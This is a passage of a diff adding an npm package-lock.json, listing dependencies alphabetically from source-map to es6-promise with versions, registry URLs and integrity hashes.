"https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/cssom": { + "version": "0.4.4", + "resolved": "https://registry.npmjs.org/cssom/-/cssom-0.4.4.tgz", + "integrity": "sha512-p3pvU7r1MyyqbTk+WbNJIgJjG2VmTIaB10rI93LzVPrmDJKkzKYMtxxyAvQXR/NS6otuzveI7+7BBq3SjBS2mw==" + }, + "node_modules/cssstyle": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/cssstyle/-/cssstyle-2.3.0.tgz", + "integrity": "sha512-AZL67abkUzIuvcHqk7c09cezpGNcxUxU4Ioi/05xHk4DQeTkWmGYftIE6ctU6AEt+Gn4n1lDStOtj7FKycP71A==", + "dependencies": { + "cssom": "~0.3.6" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/cssstyle/node_modules/cssom": { + "version": "0.3.8", + "resolved": "https://registry.npmjs.org/cssom/-/cssom-0.3.8.tgz", + "integrity": "sha512-b0tGHbfegbhPJpxpiBPU2sCkigAqtM9O121le6bbOlgyV+NyGyCmVfJ6QW9eRjz8CpNfWEOYBIMIGRYkLwsIYg==" + }, + "node_modules/csstype": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.1.3.tgz", + "integrity": "sha512-M1uQkMl8rQK/szD0LNhtqxIPLpimGm8sOBwU7lLnCpSbTyY3yeU1Vc7l4KT5zT4s/yOxHH5O7tIuuLOCnLADRw==" + }, + "node_modules/damerau-levenshtein": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/damerau-levenshtein/-/damerau-levenshtein-1.0.8.tgz", + "integrity": "sha512-sdQSFB7+llfUcQHUQO3+B8ERRj0Oa4w9POWMI/puGtuf7gFywGmkaLCElnudfTiKZV+NvHqL0ifzdrI8Ro7ESA==" + }, + "node_modules/dashjs": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/dashjs/-/dashjs-4.1.0.tgz", + "integrity": "sha512-nVcu4f/RVTCeba5RWHYujMBDKbWOUPIXfwe1wfYYoz9alsK2NeywXIlgBhzCfWnHtcfAEEW96mbmmWiagFX0hQ==", + "dependencies": { + "codem-isoboxer": "0.3.6", + "es6-promise": "^4.2.8", + "fast-deep-equal": "2.0.1", + "html-entities": "^1.2.1", + "imsc": "^1.0.2", + "localforage": "^1.7.1" + } + }, + "node_modules/data-urls": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/data-urls/-/data-urls-2.0.0.tgz", + "integrity": "sha512-X5eWTSXO/BJmpdIKCRuKUgSCgAN0OwliVK3yPKbwIWU1Tdw5BRajxlzMidvh+gwko9AfQ9zIj52pzF91Q3YAvQ==", + "dependencies": { + "abab": "^2.0.3", + "whatwg-mimetype": "^2.3.0", + "whatwg-url": "^8.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/debug": { + "version": "4.3.4", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz", + "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", + "dependencies": { + "ms": "2.1.2" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/decimal.js": { + "version": "10.4.3", + "resolved": "https://registry.npmjs.org/decimal.js/-/decimal.js-10.4.3.tgz", + "integrity": "sha512-VBBaLc1MgL5XpzgIP7ny5Z6Nx3UrRkIViUkPUdtl9aya5amy3De1gsUUSB1g3+3sExYNjCAsAznmukyxCb1GRA==" + }, + "node_modules/dedent": { + "version": "0.7.0", + "resolved": "https://registry.npmjs.org/dedent/-/dedent-0.7.0.tgz", + "integrity": "sha512-Q6fKUPqnAHAyhiUgFU7BUzLiv0kd8saH9al7tnu5Q/okj6dnupxyTgFIBjVzJATdfIAm9NAsvXNzjaKa+bxVyA==" + }, + "node_modules/deep-equal": { + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/deep-equal/-/deep-equal-2.2.3.tgz", + "integrity": "sha512-ZIwpnevOurS8bpT4192sqAowWM76JDKSHYzMLty3BZGSswgq6pBaH3DhCSW5xVAZICZyKdOBPjwww5wfgT/6PA==", + "dev": true, + "dependencies": { + "array-buffer-byte-length": "^1.0.0", + "call-bind": "^1.0.5", + "es-get-iterator": "^1.1.3", + "get-intrinsic": "^1.2.2", + "is-arguments": "^1.1.1", + "is-array-buffer": "^3.0.2", + "is-date-object": "^1.0.5", + "is-regex": "^1.1.4", + "is-shared-array-buffer": "^1.0.2", + "isarray": "^2.0.5", + "object-is": "^1.1.5", + "object-keys": "^1.1.1", + "object.assign": "^4.1.4", + "regexp.prototype.flags": "^1.5.1", + "side-channel": "^1.0.4", + "which-boxed-primitive": "^1.0.2", + "which-collection": "^1.0.1", + "which-typed-array": "^1.1.13" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/deep-is": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.4.tgz", + "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==" + }, + "node_modules/deepmerge": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.3.1.tgz", + "integrity": "sha512-3sUqbMEc77XqpdNO7FRyRog+eW3ph+GYCbj+rK+uYyRMuwsVy0rMiVtPn+QJlKFvWP/1PYpapqYn0Me2knFn+A==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/default-gateway": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/default-gateway/-/default-gateway-6.0.3.tgz", + "integrity": "sha512-fwSOJsbbNzZ/CUFpqFBqYfYNLj1NbMPm8MMCIzHjC83iSJRBEGmDUxU+WP661BaBQImeC2yHwXtz+P/O9o+XEg==", + "dependencies": { + "execa": "^5.0.0" + }, + "engines": { + "node": ">= 10" + } + }, + "node_modules/define-data-property": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/define-data-property/-/define-data-property-1.1.4.tgz", + "integrity": "sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==", + "dependencies": { + "es-define-property": "^1.0.0", + "es-errors": "^1.3.0", + "gopd": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/define-lazy-prop": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/define-lazy-prop/-/define-lazy-prop-2.0.0.tgz", + "integrity": "sha512-Ds09qNh8yw3khSjiJjiUInaGX9xlqZDY7JVryGxdxV7NPeuqQfplOpQ66yJFZut3jLa5zOwkXw1g9EI2uKh4Og==", + "engines": { + "node": ">=8" + } + }, + "node_modules/define-properties": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.2.1.tgz", + "integrity": "sha512-8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg==", + "dependencies": { + "define-data-property": "^1.0.1", + "has-property-descriptors": "^1.0.0", + "object-keys": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/delayed-stream": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", + "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/depd": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz", + "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/dequal": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/dequal/-/dequal-2.0.3.tgz", + "integrity": "sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA==", + "engines": { + "node": ">=6" + } + }, + "node_modules/destroy": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.2.0.tgz", + "integrity": "sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg==", + "engines": { + "node": ">= 0.8", + "npm": "1.2.8000 || >= 1.4.16" + } + }, + "node_modules/detect-newline": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/detect-newline/-/detect-newline-3.1.0.tgz", + "integrity": "sha512-TLz+x/vEXm/Y7P7wn1EJFNLxYpUD4TgMosxY6fAVJUnJMbupHBOncxyWUG9OpTaH9EBD7uFI5LfEgmMOc54DsA==", + "engines": { + "node": ">=8" + } + }, + "node_modules/detect-node": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/detect-node/-/detect-node-2.1.0.tgz", + "integrity": "sha512-T0NIuQpnTvFDATNuHN5roPwSBG83rFsuO+MXXH9/3N1eFbn4wcPjttvjMLEPWJ0RGUYgQE7cGgS3tNxbqCGM7g==" + }, + "node_modules/detect-port-alt": { + "version": "1.1.6", + "resolved": "https://registry.npmjs.org/detect-port-alt/-/detect-port-alt-1.1.6.tgz", + "integrity": "sha512-5tQykt+LqfJFBEYaDITx7S7cR7mJ/zQmLXZ2qt5w04ainYZw6tBf9dBunMjVeVOdYVRUzUOE4HkY5J7+uttb5Q==", + "dependencies": { + "address": "^1.0.1", + "debug": "^2.6.0" + }, + "bin": { + "detect": "bin/detect-port", + "detect-port": "bin/detect-port" + }, + "engines": { + "node": ">= 4.2.1" + } + }, + "node_modules/detect-port-alt/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/detect-port-alt/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" + }, + "node_modules/didyoumean": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/didyoumean/-/didyoumean-1.2.2.tgz", + "integrity": "sha512-gxtyfqMg7GKyhQmb056K7M3xszy/myH8w+B4RT+QXBQsvAOdc3XymqDDPHx1BgPgsdAA5SIifona89YtRATDzw==" + }, + "node_modules/diff-sequences": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/diff-sequences/-/diff-sequences-27.5.1.tgz", + "integrity": "sha512-k1gCAXAsNgLwEL+Y8Wvl+M6oEFj5bgazfZULpS5CneoPPXRaCCW7dm+q21Ky2VEE5X+VeRDBVg1Pcvvsr4TtNQ==", + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/dir-glob": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/dir-glob/-/dir-glob-3.0.1.tgz", + "integrity": "sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==", + "dependencies": { + "path-type": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/dlv": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/dlv/-/dlv-1.1.3.tgz", + "integrity": "sha512-+HlytyjlPKnIG8XuRG8WvmBP8xs8P71y+SKKS6ZXWoEgLuePxtDoUEiH7WkdePWrQ5JBpE6aoVqfZfJUQkjXwA==" + }, + "node_modules/dns-packet": { + "version": "5.6.1", + "resolved": "https://registry.npmjs.org/dns-packet/-/dns-packet-5.6.1.tgz", + "integrity": "sha512-l4gcSouhcgIKRvyy99RNVOgxXiicE+2jZoNmaNmZ6JXiGajBOJAesk1OBlJuM5k2c+eudGdLxDqXuPCKIj6kpw==", + "dependencies": { + "@leichtgewicht/ip-codec": "^2.0.1" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/doctrine": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-3.0.0.tgz", + "integrity": "sha512-yS+Q5i3hBf7GBkd4KG8a7eBNNWNGLTaEwwYWUijIYM7zrlYDM0BFXHjjPWlWZ1Rg7UaddZeIDmi9jF3HmqiQ2w==", + "dependencies": { + "esutils": "^2.0.2" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/dom-accessibility-api": { + "version": "0.5.16", + "resolved": "https://registry.npmjs.org/dom-accessibility-api/-/dom-accessibility-api-0.5.16.tgz", + "integrity": "sha512-X7BJ2yElsnOJ30pZF4uIIDfBEVgF4XEBxL9Bxhy6dnrm5hkzqmsWHGTiHqRiITNhMyFLyAiWndIJP7Z1NTteDg==", + "dev": true + }, + "node_modules/dom-converter": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/dom-converter/-/dom-converter-0.2.0.tgz", + "integrity": "sha512-gd3ypIPfOMr9h5jIKq8E3sHOTCjeirnl0WK5ZdS1AW0Odt0b1PaWaHdJ4Qk4klv+YB9aJBS7mESXjFoDQPu6DA==", + "dependencies": { + "utila": "~0.4" + } + }, + "node_modules/dom-serializer": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-1.4.1.tgz", + "integrity": "sha512-VHwB3KfrcOOkelEG2ZOfxqLZdfkil8PtJi4P8N2MMXucZq2yLp75ClViUlOVwyoHEDjYU433Aq+5zWP61+RGag==", + "dependencies": { + "domelementtype": "^2.0.1", + "domhandler": "^4.2.0", + "entities": "^2.0.0" + }, + "funding": { + "url": "https://github.com/cheeriojs/dom-serializer?sponsor=1" + } + }, + "node_modules/domelementtype": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.3.0.tgz", + "integrity": "sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fb55" + } + ] + }, + "node_modules/domexception": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/domexception/-/domexception-2.0.1.tgz", + "integrity": "sha512-yxJ2mFy/sibVQlu5qHjOkf9J3K6zgmCxgJ94u2EdvDOV09H+32LtRswEcUsmUWN72pVLOEnTSRaIVVzVQgS0dg==", + "deprecated": "Use your platform's native DOMException instead", + "dependencies": { + "webidl-conversions": "^5.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/domexception/node_modules/webidl-conversions": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-5.0.0.tgz", + "integrity": "sha512-VlZwKPCkYKxQgeSbH5EyngOmRp7Ww7I9rQLERETtf5ofd9pGeswWiOtogpEO850jziPRarreGxn5QIiTqpb2wA==", + "engines": { + "node": ">=8" + } + }, + "node_modules/domhandler": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-4.3.1.tgz", + "integrity": "sha512-GrwoxYN+uWlzO8uhUXRl0P+kHE4GtVPfYzVLcUxPL7KNdHKj66vvlhiweIHqYYXWlw+T8iLMp42Lm67ghw4WMQ==", + "dependencies": { + "domelementtype": "^2.2.0" + }, + "engines": { + "node": ">= 4" + }, + "funding": { + "url": "https://github.com/fb55/domhandler?sponsor=1" + } + }, + "node_modules/domutils": { + "version": "2.8.0", + "resolved": "https://registry.npmjs.org/domutils/-/domutils-2.8.0.tgz", + "integrity": "sha512-w96Cjofp72M5IIhpjgobBimYEfoPjx1Vx0BSX9P30WBdZW2WIKU0T1Bd0kz2eNZ9ikjKgHbEyKx8BB6H1L3h3A==", + "dependencies": { + "dom-serializer": "^1.0.1", + "domelementtype": "^2.2.0", + "domhandler": "^4.2.0" + }, + "funding": { + "url": "https://github.com/fb55/domutils?sponsor=1" + } + }, + "node_modules/dot-case": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/dot-case/-/dot-case-3.0.4.tgz", + "integrity": "sha512-Kv5nKlh6yRrdrGvxeJ2e5y2eRUpkUosIW4A2AS38zwSz27zu7ufDwQPi5Jhs3XAlGNetl3bmnGhQsMtkKJnj3w==", + "dependencies": { + "no-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, + "node_modules/dotenv": { + "version": "10.0.0", + "resolved": "https://registry.npmjs.org/dotenv/-/dotenv-10.0.0.tgz", + "integrity": "sha512-rlBi9d8jpv9Sf1klPjNfFAuWDjKLwTIJJ/VxtoTwIR6hnZxcEOQCZg2oIL3MWBYw5GpUDKOEnND7LXTbIpQ03Q==", + "engines": { + "node": ">=10" + } + }, + "node_modules/dotenv-expand": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/dotenv-expand/-/dotenv-expand-5.1.0.tgz", + "integrity": "sha512-YXQl1DSa4/PQyRfgrv6aoNjhasp/p4qs9FjJ4q4cQk+8m4r6k4ZSiEyytKG8f8W9gi8WsQtIObNmKd+tMzNTmA==" + }, + "node_modules/duplexer": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/duplexer/-/duplexer-0.1.2.tgz", + "integrity": "sha512-jtD6YG370ZCIi/9GTaJKQxWTZD045+4R4hTk/x1UyoqadyJ9x9CgSi1RlVDQF8U2sxLLSnFkCaMihqljHIWgMg==" + }, + "node_modules/eastasianwidth": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/eastasianwidth/-/eastasianwidth-0.2.0.tgz", + "integrity": "sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA==" + }, + "node_modules/ee-first": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz", + "integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==" + }, + "node_modules/ejs": { + "version": "3.1.9", + "resolved": "https://registry.npmjs.org/ejs/-/ejs-3.1.9.tgz", + "integrity": "sha512-rC+QVNMJWv+MtPgkt0y+0rVEIdbtxVADApW9JXrUVlzHetgcyczP/E7DJmWJ4fJCZF2cPcBk0laWO9ZHMG3DmQ==", + "dependencies": { + "jake": "^10.8.5" + }, + "bin": { + "ejs": "bin/cli.js" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/electron-to-chromium": { + "version": "1.4.671", + "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.4.671.tgz", + "integrity": "sha512-UUlE+/rWbydmp+FW8xlnnTA5WNA0ZZd2XL8CuMS72rh+k4y1f8+z6yk3UQhEwqHQWj6IBdL78DwWOdGMvYfQyA==" + }, + "node_modules/emittery": { + "version": "0.8.1", + "resolved": "https://registry.npmjs.org/emittery/-/emittery-0.8.1.tgz", + "integrity": "sha512-uDfvUjVrfGJJhymx/kz6prltenw1u7WrCg1oa94zYY8xxVpLLUu045LAT0dhDZdXG58/EpPL/5kA180fQ/qudg==", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sindresorhus/emittery?sponsor=1" + } + }, + "node_modules/emoji-regex": { + "version": "9.2.2", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-9.2.2.tgz", + "integrity": "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==" + }, + "node_modules/emojis-list": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/emojis-list/-/emojis-list-3.0.0.tgz", + "integrity": "sha512-/kyM18EfinwXZbno9FyUGeFh87KC8HRQBQGildHZbEuRyWFOmv1U10o9BBp8XVZDVNNuQKyIGIu5ZYAAXJ0V2Q==", + "engines": { + "node": ">= 4" + } + }, + "node_modules/encodeurl": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.2.tgz", + "integrity": "sha512-TPJXq8JqFaVYm2CWmPvnP2Iyo4ZSM7/QKcSmuMLDObfpH5fi7RUGmd/rTDf+rut/saiDiQEeVTNgAmJEdAOx0w==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/enhanced-resolve": { + "version": "5.15.0", + "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.15.0.tgz", + "integrity": "sha512-LXYT42KJ7lpIKECr2mAXIaMldcNCh/7E0KBKOu4KSfkHmP+mZmSs+8V5gBAqisWBy0OO4W5Oyys0GO1Y8KtdKg==", + "dependencies": { + "graceful-fs": "^4.2.4", + "tapable": "^2.2.0" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/entities": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/entities/-/entities-2.2.0.tgz", + "integrity": "sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A==", + "funding": { + "url": "https://github.com/fb55/entities?sponsor=1" + } + }, + "node_modules/error-ex": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.2.tgz", + "integrity": "sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==", + "dependencies": { + "is-arrayish": "^0.2.1" + } + }, + "node_modules/error-stack-parser": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/error-stack-parser/-/error-stack-parser-2.1.4.tgz", + "integrity": "sha512-Sk5V6wVazPhq5MhpO+AUxJn5x7XSXGl1R93Vn7i+zS15KDVxQijejNCrz8340/2bgLBjR9GtEG8ZVKONDjcqGQ==", + "dependencies": { + "stackframe": "^1.3.4" + } + }, + "node_modules/es-abstract": { + "version": "1.22.4", + "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.22.4.tgz", + "integrity": "sha512-vZYJlk2u6qHYxBOTjAeg7qUxHdNfih64Uu2J8QqWgXZ2cri0ZpJAkzDUK/q593+mvKwlxyaxr6F1Q+3LKoQRgg==", + "dependencies": { + "array-buffer-byte-length": "^1.0.1", + "arraybuffer.prototype.slice": "^1.0.3", + "available-typed-arrays": "^1.0.6", + "call-bind": "^1.0.7", + "es-define-property": "^1.0.0", + "es-errors": "^1.3.0", + "es-set-tostringtag": "^2.0.2", + "es-to-primitive": "^1.2.1", + "function.prototype.name": "^1.1.6", + "get-intrinsic": "^1.2.4", + "get-symbol-description": "^1.0.2", + "globalthis": "^1.0.3", + "gopd": "^1.0.1", + "has-property-descriptors": "^1.0.2", + "has-proto": "^1.0.1", + "has-symbols": "^1.0.3", + "hasown": "^2.0.1", + "internal-slot": "^1.0.7", + "is-array-buffer": "^3.0.4", + "is-callable": "^1.2.7", + "is-negative-zero": "^2.0.2", + "is-regex": "^1.1.4", + "is-shared-array-buffer": "^1.0.2", + "is-string": "^1.0.7", + "is-typed-array": "^1.1.13", + "is-weakref": "^1.0.2", + "object-inspect": "^1.13.1", + "object-keys": "^1.1.1", + "object.assign": "^4.1.5", + "regexp.prototype.flags": "^1.5.2", + "safe-array-concat": "^1.1.0", + "safe-regex-test": "^1.0.3", + "string.prototype.trim": "^1.2.8", + "string.prototype.trimend": "^1.0.7", + "string.prototype.trimstart": "^1.0.7", + "typed-array-buffer": "^1.0.1", + "typed-array-byte-length": "^1.0.0", + "typed-array-byte-offset": "^1.0.0", + "typed-array-length": "^1.0.4", + "unbox-primitive": "^1.0.2", + "which-typed-array": "^1.1.14" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/es-array-method-boxes-properly": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/es-array-method-boxes-properly/-/es-array-method-boxes-properly-1.0.0.tgz", + "integrity": "sha512-wd6JXUmyHmt8T5a2xreUwKcGPq6f1f+WwIJkijUqiGcJz1qqnZgP6XIK+QyIWU5lT7imeNxUll48bziG+TSYcA==" + }, + "node_modules/es-define-property": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.0.tgz", + "integrity": "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ==", + "dependencies": { + "get-intrinsic": "^1.2.4" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-errors": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz", + "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-get-iterator": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/es-get-iterator/-/es-get-iterator-1.1.3.tgz", + "integrity": "sha512-sPZmqHBe6JIiTfN5q2pEi//TwxmAFHwj/XEuYjTuse78i8KxaqMTTzxPoFKuzRpDpTJ+0NAbpfenkmH2rePtuw==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "get-intrinsic": "^1.1.3", + "has-symbols": "^1.0.3", + "is-arguments": "^1.1.1", + "is-map": "^2.0.2", + "is-set": "^2.0.2", + "is-string": "^1.0.7", + "isarray": "^2.0.5", + "stop-iteration-iterator": "^1.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/es-iterator-helpers": { + "version": "1.0.17", + "resolved": "https://registry.npmjs.org/es-iterator-helpers/-/es-iterator-helpers-1.0.17.tgz", + "integrity": "sha512-lh7BsUqelv4KUbR5a/ZTaGGIMLCjPGPqJ6q+Oq24YP0RdyptX1uzm4vvaqzk7Zx3bpl/76YLTTDj9L7uYQ92oQ==", + "dependencies": { + "asynciterator.prototype": "^1.0.0", + "call-bind": "^1.0.7", + "define-properties": "^1.2.1", + "es-abstract": "^1.22.4", + "es-errors": "^1.3.0", + "es-set-tostringtag": "^2.0.2", + "function-bind": "^1.1.2", + "get-intrinsic": "^1.2.4", + "globalthis": "^1.0.3", + "has-property-descriptors": "^1.0.2", + "has-proto": "^1.0.1", + "has-symbols": "^1.0.3", + "internal-slot": "^1.0.7", + "iterator.prototype": "^1.1.2", + "safe-array-concat": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-module-lexer": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-1.4.1.tgz", + "integrity": "sha512-cXLGjP0c4T3flZJKQSuziYoq7MlT+rnvfZjfp7h+I7K9BNX54kP9nyWvdbwjQ4u1iWbOL4u96fgeZLToQlZC7w==" + }, + "node_modules/es-set-tostringtag": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/es-set-tostringtag/-/es-set-tostringtag-2.0.2.tgz", + "integrity": "sha512-BuDyupZt65P9D2D2vA/zqcI3G5xRsklm5N3xCwuiy+/vKy8i0ifdsQP1sLgO4tZDSCaQUSnmC48khknGMV3D2Q==", + "dependencies": { + "get-intrinsic": "^1.2.2", + "has-tostringtag": "^1.0.0", + "hasown": "^2.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-shim-unscopables": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/es-shim-unscopables/-/es-shim-unscopables-1.0.2.tgz", + "integrity": "sha512-J3yBRXCzDu4ULnQwxyToo/OjdMx6akgVC7K6few0a7F/0wLtmKKN7I73AH5T2836UuXRqN7Qg+IIUw/+YJksRw==", + "dependencies": { + "hasown": "^2.0.0" + } + }, + "node_modules/es-to-primitive": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/es-to-primitive/-/es-to-primitive-1.2.1.tgz", + "integrity": "sha512-QCOllgZJtaUo9miYBcLChTUaHNjJF3PYs1VidD7AwiEj1kYxKeQTctLAezAOH5ZKRH0g2IgPn6KwB4IT8iRpvA==", + "dependencies": { + "is-callable": "^1.1.4", + "is-date-object": "^1.0.1", + "is-symbol": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/es6-promise": { + "version": "4.2.8", + "resolved": "https://registry.npmjs.org/es6-promise/-/es6-promise-4.2.8.tgz", + "integrity": 